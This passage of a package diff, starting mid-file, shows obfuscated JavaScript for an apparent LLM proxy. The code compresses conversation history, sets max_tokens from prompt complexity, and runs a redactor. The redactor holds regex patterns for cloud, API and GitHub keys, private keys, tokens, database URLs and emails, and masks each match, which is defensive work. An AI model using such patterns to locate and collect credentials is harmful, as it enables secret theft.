_0x482bb4['content']==='string')return{..._0x482bb4,'content':summarizeText(_0x482bb4[_0x135f02(0x109)])};if(Array[_0x135f02(0x106)](_0x482bb4[_0x135f02(0x109)])){const _0x5ea7ac=largestBlockIndex(_0x482bb4[_0x135f02(0x109)]);if(_0x5ea7ac>=0x0){const _0x1a4608=_0x482bb4[_0x135f02(0x109)][_0x135f02(0x122)]((_0x14474a,_0x286cf1)=>_0x286cf1===_0x5ea7ac?summarizeBlock(_0x14474a):_0x14474a);return{..._0x482bb4,'content':_0x1a4608};}}return _0x482bb4;}function compressConversation(_0xc3b458,_0x3bc179){const _0x30f18f=a0_0x28142b,_0x12ff8d={'messages':_0xc3b458,'trimmedCount':0x0,'savedTokens':0x0};if(!_0xc3b458||!Array[_0x30f18f(0x106)](_0xc3b458)||_0xc3b458[_0x30f18f(0x11a)]<=0x6)return _0x12ff8d;try{return _compressConversation(_0xc3b458,_0x3bc179);}catch{return _0x12ff8d;}}function _compressConversation(_0x1980ec,_0x2464cd){const _0x248025=a0_0x28142b,_0x18c33f=_0x2464cd||0x13880,_0x106d1f=0x4,_0x4a0538=_0x1980ec['filter'](_0x4a507d=>_0x4a507d[_0x248025(0x10a)]===_0x248025(0x10c)),_0x5869fe=_0x1980ec['filter'](_0x41e19c=>_0x41e19c[_0x248025(0x10a)]!==_0x248025(0x10c)),_0x5ecbd3=_0x5869fe[_0x248025(0x100)](-_0x106d1f),_0x321b24=_0x5869fe[_0x248025(0x100)](0x0,-_0x106d1f),_0x3dc182=_0x321b24[_0x248025(0x122)]((_0x3e5617,_0x4421d0)=>({'msg':_0x3e5617,'score':scoreMessage(_0x3e5617,_0x4421d0,_0x321b24[_0x248025(0x11a)]),'tokens':estimateTokens(messageText(_0x3e5617))})),_0x12cb96=_0x3dc182[_0x248025(0x10d)]((_0x1d1281,_0x381079)=>_0x1d1281+_0x381079[_0x248025(0x104)],0x0),_0x38f355=_0x5ecbd3['reduce']((_0x48cb7c,_0x16e332)=>_0x48cb7c+estimateTokens(messageText(_0x16e332)),0x0),_0x37c9cb=_0x4a0538[_0x248025(0x10d)]((_0x5a02bf,_0x1c7c78)=>_0x5a02bf+estimateTokens(messageText(_0x1c7c78)),0x0),_0x25dbf2=_0x18c33f-_0x38f355-_0x37c9cb;if(_0x12cb96<=_0x25dbf2){let _0x2b1bb2=0x0;const _0x3f8259=_0x3dc182['map'](_0x67801d=>{const _0x4e5bd9=_0x248025;if(_0x67801d[_0x4e5bd9(0x104)]>0x1f4){const _0x38a92e=summarizeMessage(_0x67801d[_0x4e5bd9(0x115)]),_0x1e9623=estimateTokens(messageText(_0x38a92e));if(_0x1e9623<_0x67801d[_0x4e5bd9(0x104)])return _0x2b1bb2+=_0x67801d['tokens']-_0x1e9623,_0x38a92e;}return _0x67801d['msg'];});return{'messages':[..._0x4a0538,..._0x3f8259,..._0x5ecbd3],'trimmedCount':0x0,'savedTokens':_0x2b1bb2};}_0x3dc182[_0x248025(0x117)]((_0x531d24,_0x30fae3)=>_0x30fae3['score']-_0x531d24[_0x248025(0xff)]);let _0x5dd0bf=0x0,_0x22c5a8=0x0,_0x5ac8c8=0x0;const _0x21d13a=[];for(const _0x2ba346 of _0x3dc182){if(_0x5dd0bf+_0x2ba346[_0x248025(0x104)]<=_0x25dbf2){if(_0x2ba346[_0x248025(0x104)]>0x3e8){const _0x56fe08=summarizeMessage(_0x2ba346[_0x248025(0x115)]),_0x41d055=estimateTokens(messageText(_0x56fe08));_0x5ac8c8+=_0x2ba346[_0x248025(0x104)]-_0x41d055,_0x5dd0bf+=_0x41d055,_0x21d13a[_0x248025(0x10f)]({'msg':_0x56fe08,'originalIndex':_0x321b24[_0x248025(0x126)](_0x2ba346[_0x248025(0x115)])});}else _0x5dd0bf+=_0x2ba346[_0x248025(0x104)],_0x21d13a[_0x248025(0x10f)]({'msg':_0x2ba346[_0x248025(0x115)],'originalIndex':_0x321b24[_0x248025(0x126)](_0x2ba346[_0x248025(0x115)])});}else _0x22c5a8++,_0x5ac8c8+=_0x2ba346[_0x248025(0x104)];}_0x21d13a[_0x248025(0x117)]((_0x17d4ea,_0x3f66e4)=>_0x17d4ea[_0x248025(0x107)]-_0x3f66e4[_0x248025(0x107)]);const _0x294c59=[..._0x4a0538,..._0x21d13a['map'](_0x165708=>_0x165708['msg']),..._0x5ecbd3];return{'messages':_0x294c59,'trimmedCount':_0x22c5a8,'savedTokens':_0x5ac8c8};}
|
package/proxy-resp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x2366bf=a0_0x20ac;(function(_0xefffcf,_0xd6deeb){const _0x1f3c30=a0_0x20ac,_0x1dab51=_0xefffcf();while(!![]){try{const _0xb44279=-parseInt(_0x1f3c30(0x11b))/0x1+parseInt(_0x1f3c30(0x10f))/0x2+-parseInt(_0x1f3c30(0x116))/0x3+parseInt(_0x1f3c30(0x11d))/0x4*(-parseInt(_0x1f3c30(0x117))/0x5)+-parseInt(_0x1f3c30(0x11c))/0x6*(parseInt(_0x1f3c30(0x107))/0x7)+parseInt(_0x1f3c30(0x113))/0x8+-parseInt(_0x1f3c30(0x11e))/0x9*(-parseInt(_0x1f3c30(0x111))/0xa);if(_0xb44279===_0xd6deeb)break;else _0x1dab51['push'](_0x1dab51['shift']());}catch(_0x36be74){_0x1dab51['push'](_0x1dab51['shift']());}}}(a0_0x398f,0xcb224));function a0_0x20ac(_0xcc8148,_0xb48b4c){_0xcc8148=_0xcc8148-0x107;const _0x398f3a=a0_0x398f();let _0x20ac7e=_0x398f3a[_0xcc8148];return _0x20ac7e;}Object['defineProperty'](exports,a0_0x2366bf(0x11a),{'value':!![]}),exports[a0_0x2366bf(0x10e)]=optimizeMaxTokens;function lastUserText(_0x406723){const _0x2c7b7e=a0_0x2366bf;for(let _0x2781e3=_0x406723[_0x2c7b7e(0x120)]-0x1;_0x2781e3>=0x0;_0x2781e3--){if(_0x406723[_0x2781e3]['role']==='user'){const _0x4bc405=_0x406723[_0x2781e3]['content'];if(typeof _0x4bc405===_0x2c7b7e(0x10a))return _0x4bc405;if(Array[_0x2c7b7e(0x10b)](_0x4bc405))return _0x4bc405[_0x2c7b7e(0x118)](_0x3590cf=>_0x3590cf['type']===_0x2c7b7e(0x115)&&_0x3590cf[_0x2c7b7e(0x115)])[_0x2c7b7e(0x108)](_0x1cbab5=>_0x1cbab5[_0x2c7b7e(0x115)])[_0x2c7b7e(0x110)]('\x0a');}}return'';}function classifyComplexity(_0x5e5478){const _0xedbc82=a0_0x2366bf,_0x47b338=_0x5e5478[_0xedbc82(0x112)](),_0x24ab6b=_0x47b338[_0xedbc82(0x11f)](/\s+/)['length'],_0x290383=[/^(what|where|which|who|when|how many|is |are |does |do |can |has )\S/,/\?$/,/^(show|list|print|get|find|check|look up)/,/^(yes|no|ok|sure|thanks)/];if(_0x24ab6b<0x14&&_0x290383[_0xedbc82(0x10c)](_0x555a29=>_0x555a29['test'](_0x47b338)))return _0xedbc82(0x10d);const _0x3293c3=[/implement|refactor|rewrite|create .+ (file|module|class|component)/,/step[- ]by[- ]step|multiple|several|all of the/,/write (a |the )?(full|complete|entire)/,/add .+ and .+ and/,/migrate|convert .+ to/];if(_0x24ab6b>0x50||_0x3293c3['some'](_0x3cbb40=>_0x3cbb40[_0xedbc82(0x119)](_0x47b338)))return _0xedbc82(0x109);return _0xedbc82(0x114);}function a0_0x398f(){const _0x266281=['toLowerCase','3250024AHvSIp','medium','text','867642pLrKcz','310lDoXaY','filter','test','__esModule','411203AQPoOi','21942yEKSMS','98772ElMcsJ','880011gzHMrg','split','length','2835ReluJK','map','complex','string','isArray','some','simple','optimizeMaxTokens','258624FGCOpN','join','410orvZFv'];a0_0x398f=function(){return _0x266281;};return a0_0x398f();}const MAX_TOKENS_MAP={'simple':0x800,'medium':0x1000,'complex':0x2000};function optimizeMaxTokens(_0x247858,_0x578748){const _0x409131=a0_0x2366bf;if(!_0x247858||_0x247858[_0x409131(0x120)]===0x0)return null;const _0x5509a0=lastUserText(_0x247858);if(!_0x5509a0)return null;const _0x1404a8=classifyComplexity(_0x5509a0),_0x14cf93=MAX_TOKENS_MAP[_0x1404a8];if(_0x578748&&_0x578748<=_0x14cf93)return null;return{'max_tokens':_0x14cf93,'complexity':_0x1404a8};}
|
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x3d0df2=a0_0x4138;(function(_0x2cd01d,_0x18c080){const _0x43c9a5=a0_0x4138,_0xbc48d6=_0x2cd01d();while(!![]){try{const _0x36ff98=parseInt(_0x43c9a5(0x175))/0x1+parseInt(_0x43c9a5(0x157))/0x2+-parseInt(_0x43c9a5(0x16f))/0x3*(parseInt(_0x43c9a5(0x147))/0x4)+-parseInt(_0x43c9a5(0x145))/0x5*(parseInt(_0x43c9a5(0x174))/0x6)+parseInt(_0x43c9a5(0x16a))/0x7+parseInt(_0x43c9a5(0x178))/0x8+parseInt(_0x43c9a5(0x169))/0x9*(parseInt(_0x43c9a5(0x177))/0xa);if(_0x36ff98===_0x18c080)break;else _0xbc48d6['push'](_0xbc48d6['shift']());}catch(_0x47e480){_0xbc48d6['push'](_0xbc48d6['shift']());}}}(a0_0x53c9,0xc16f9));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x3d0df2(0x171)]=exports[a0_0x3d0df2(0x16c)]=void 0x0;function a0_0x53c9(){const _0x275287=['gcp_key','30jNdLZq','IPv4\x20Address\x20(non-local)','redactor','aws_secret','replace','642stekft','865265bCNkbV','Email\x20Address','10FwDVHp','2690584MMnVcp','rules','loadDefaultRules','Basic\x20Auth','$1=[REDACTED_AWS_SECRET]','db_connection','github_token','length','redact','stripe_key','[REDACTED_GITHUB_TOKEN]','[REDACTED_JWT]','72815ZhXAEf','JWT\x20Token','193796vIbpSG','text','sendgrid_key','[REDACTED_AWS_KEY]','[REDACTED_ANTHROPIC_KEY]','azure_conn','match','jwt','redactWithAudit','[REDACTED_OPENAI_KEY]','Generic\x20API\x20Key/Secret/Password','private_key','[REDACTED_EMAIL]','push','[REDACTED_AZURE_CONNECTION]','[REDACTED_SLACK_TOKEN]','123878gUONDh','AWS\x20Access\x20Key','\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22','Stripe\x20Key','bearer','OpenAI\x20API\x20Key','[REDACTED_TWILIO_KEY]','[REDACTED_SENDGRID_KEY]','includes','regex','Slack\x20Token','GitHub\x20Token','twilio_key','generic_credential','Bearer\x20Token','aws_key','slack_token','[REDACTED_PRIVATE_KEY]','654471ImTLMt','10491586iqyich','GCP\x20Service\x20Account\x20Key','Redactor','ip_address'];a0_0x53c9=function(){return _0x275287;};return a0_0x53c9();}class Redactor{['rules']=[];constructor(){this['loadDefaultRules']();}[a0_0x3d0df2(0x17a)](){const _0x281392=a0_0x3d0df2;this[_0x281392(0x179)]=[{'name':_0x281392(0x158),'type':_0x281392(0x166),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x281392(0x14a)},{'name':'AWS\x20Secret\x20Key','type':_0x281392(0x172),'regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x281392(0x13d)},{'name':_0x281392(0x16b),'type':_0x281392(0x16e),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':_0x281392(0x159)},{'name':'Azure\x20Connection\x20String','type':_0x281392(0x14c),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':_0x281392(0x155)},{'name':'Anthropic\x20API\x20Key','type':'anthropic_key','regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x281392(0x14b)},{'name':_0x281392(0x15c),'type':'openai_key','regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':_0x281392(0x150)},{'name':_0x281392(0x162),'type':_0x281392(0x13f),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':_0x281392(0x143)},{'name':_0x281392(0x161),'type':_0x281392(0x167),'regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':_0x281392(0x156)},{'name':_0x281392(0x15a),'type':_0x281392(0x142),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':'[REDACTED_STRIPE_KEY]'},{'name':'Twilio\x20Key','type':_0x281392(0x163),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x281392(0x15d)},{'name':'SendGrid\x20Key','type':_0x281392(0x149),'regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x281392(0x15e)},{'name':'Private\x20Key\x20Block','type':_0x281392(0x152),'regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x281392(0x168)},{'name':_0x281392(0x146),'type':_0x281392(0x14e),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x281392(0x144)},{'name':_0x281392(0x165),'type':_0x281392(0x15b),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':'Bearer\x20[REDACTED_TOKEN]'},{'name':_0x281392(0x13c),'type':'basic_auth','regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':'Basic\x20[REDACTED_AUTH]'},{'name':'Database\x20Connection\x20String','type':_0x281392(0x13e),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION]'},{'name':_0x281392(0x151),'type':_0x281392(0x164),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':'$1=[REDACTED_CREDENTIAL]'},{'name':_0x281392(0x170),'type':_0x281392(0x16d),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]','alert':![]},{'name':_0x281392(0x176),'type':'email','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x281392(0x153),'alert':![]}];}[a0_0x3d0df2(0x141)](_0x3d2621){const _0xd6b5d6=a0_0x3d0df2;return this[_0xd6b5d6(0x14f)](_0x3d2621)[_0xd6b5d6(0x148)];}[a0_0x3d0df2(0x14f)](_0xe920f6){const _0x1f63eb=a0_0x3d0df2;let _0x3183c0=_0xe920f6,_0x51bd95=0x0;const _0x4d2b3a=[];for(const _0x4f8348 of this[_0x1f63eb(0x179)]){const _0x52fd81=_0x3183c0[_0x1f63eb(0x14d)](_0x4f8348[_0x1f63eb(0x160)]);_0x52fd81&&_0x52fd81[_0x1f63eb(0x140)]>0x0&&(_0x4f8348['alert']!==![]&&(_0x51bd95+=_0x52fd81[_0x1f63eb(0x140)],!_0x4d2b3a[_0x1f63eb(0x15f)](_0x4f8348['type'])&&_0x4d2b3a[_0x1f63eb(0x154)](_0x4f8348['type'])),_0x3183c0=_0x3183c0[_0x1f63eb(0x173)](_0x4f8348['regex'],_0x4f8348['replacement']));}return{'text':_0x3183c0,'secretsFound':_0x51bd95,'secretTypes':_0x4d2b3a};}}function a0_0x4138(_0xf6a501,_0x462b0c){_0xf6a501=_0xf6a501-0x13c;const _0x53c9cb=a0_0x53c9();let _0x413841=_0x53c9cb[_0xf6a501];return _0x413841;}exports[a0_0x3d0df2(0x16c)]=Redactor,exports['redactor']=new Redactor();
|